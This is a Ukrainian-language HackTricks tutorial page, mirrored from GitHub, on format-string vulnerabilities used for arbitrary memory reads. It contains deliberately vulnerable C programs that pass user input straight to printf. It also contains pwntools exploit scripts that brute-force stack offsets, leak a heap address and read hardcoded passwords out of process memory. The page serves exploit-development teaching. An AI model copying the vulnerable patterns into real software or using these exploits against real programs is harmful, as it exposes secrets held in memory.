mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
169 lines
5.6 KiB
Markdown
169 lines
5.6 KiB
Markdown
# Форматні рядки - Приклад довільного читання
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Читання бінарних даних початок
|
||
|
||
### Код
|
||
```c
|
||
#include <stdio.h>
|
||
|
||
int main(void) {
|
||
char buffer[30];
|
||
|
||
fgets(buffer, sizeof(buffer), stdin);
|
||
|
||
printf(buffer);
|
||
return 0;
|
||
}
|
||
```
|
||
Скомпілюйте це з:
|
||
```python
|
||
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
||
```
|
||
### Експлуатація
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./fs-read')
|
||
|
||
payload = f"%11$s|||||".encode()
|
||
payload += p64(0x00400000)
|
||
|
||
p.sendline(payload)
|
||
log.info(p.clean())
|
||
```
|
||
- **зсув 11** тому що встановлення кількох A та **брутфорс** з циклом з 0 до 50 виявило, що на зсуві 11 і з 5 додатковими символами (трубки `|` у нашому випадку) можливо контролювати повну адресу.
|
||
- Я використав **`%11$p`** з заповненням до того, щоб адреса була вся 0x4141414141414141
|
||
- **вантаж форматного рядка є ДО адреси** тому що **printf перестає читати на нульовому байті**, тому якщо ми відправимо адресу, а потім форматний рядок, printf ніколи не досягне форматного рядка, оскільки нульовий байт буде знайдений раніше
|
||
- Вибрана адреса 0x00400000 тому що це місце, де починається бінарник (без PIE)
|
||
|
||
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
||
|
||
## Читати паролі
|
||
```c
|
||
#include <stdio.h>
|
||
#include <string.h>
|
||
|
||
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
||
|
||
int main() {
|
||
char stack_password[20] = "secretStackPass"; // Password in stack
|
||
char input1[20], input2[20];
|
||
|
||
printf("Enter first password: ");
|
||
scanf("%19s", input1);
|
||
|
||
printf("Enter second password: ");
|
||
scanf("%19s", input2);
|
||
|
||
// Vulnerable printf
|
||
printf(input1);
|
||
printf("\n");
|
||
|
||
// Check both passwords
|
||
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
||
printf("Access Granted.\n");
|
||
} else {
|
||
printf("Access Denied.\n");
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
```
|
||
Скомпілюйте це з:
|
||
```bash
|
||
clang -o fs-read fs-read.c -Wno-format-security
|
||
```
|
||
### Читання зі стеку
|
||
|
||
**`stack_password`** буде зберігатися в стеку, оскільки це локальна змінна, тому просто зловживання printf для відображення вмісту стеку є достатнім. Це експлойт для BF перших 100 позицій, щоб витягти паролі зі стеку:
|
||
```python
|
||
from pwn import *
|
||
|
||
for i in range(100):
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$s\na".encode()
|
||
p = process("./fs-read")
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
На зображенні видно, що ми можемо витягти пароль зі стеку на `10-й` позиції:
|
||
|
||
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
||
|
||
### Читання даних
|
||
|
||
Запускаючи той же експлойт, але з `%p` замість `%s`, можливо витягти адресу купи зі стеку на `%25$p`. Більше того, порівнюючи витягнуту адресу (`0xaaaab7030894`) з позицією пароля в пам'яті цього процесу, ми можемо отримати різницю адрес:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
Тепер час знайти, як контролювати 1 адресу в стеку, щоб отримати до неї доступ з другої вразливості форматного рядка:
|
||
```python
|
||
from pwn import *
|
||
|
||
def leak_heap(p):
|
||
p.sendlineafter(b"first password:", b"%5$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
for i in range(30):
|
||
p = process("./fs-read")
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
password_addr = heap_leak_addr - 0x126a
|
||
|
||
print(f"Try: {i}")
|
||
payload = f"%{i}$p|||".encode()
|
||
payload += b"AAAAAAAA"
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output.decode("utf-8"))
|
||
p.close()
|
||
```
|
||
І можна побачити, що в **try 14** з використаним проходженням ми можемо контролювати адресу:
|
||
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
### Exploit
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process("./fs-read")
|
||
|
||
def leak_heap(p):
|
||
# At offset 25 there is a heap leak
|
||
p.sendlineafter(b"first password:", b"%25$p")
|
||
p.recvline()
|
||
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
||
return int(response, 16)
|
||
|
||
heap_leak_addr = leak_heap(p)
|
||
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
||
|
||
# Offset calculated from the leaked position to the possition of the pass in memory
|
||
password_addr = heap_leak_addr + 0x1f7bc
|
||
|
||
print(f"Calculated address is: {hex(password_addr)}")
|
||
|
||
# At offset 14 we can control the addres, so use %s to read the string from that address
|
||
payload = f"%14$s|||".encode()
|
||
payload += p64(password_addr)
|
||
|
||
p.sendline(payload)
|
||
output = p.clean()
|
||
print(output)
|
||
p.close()
|
||
```
|
||
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|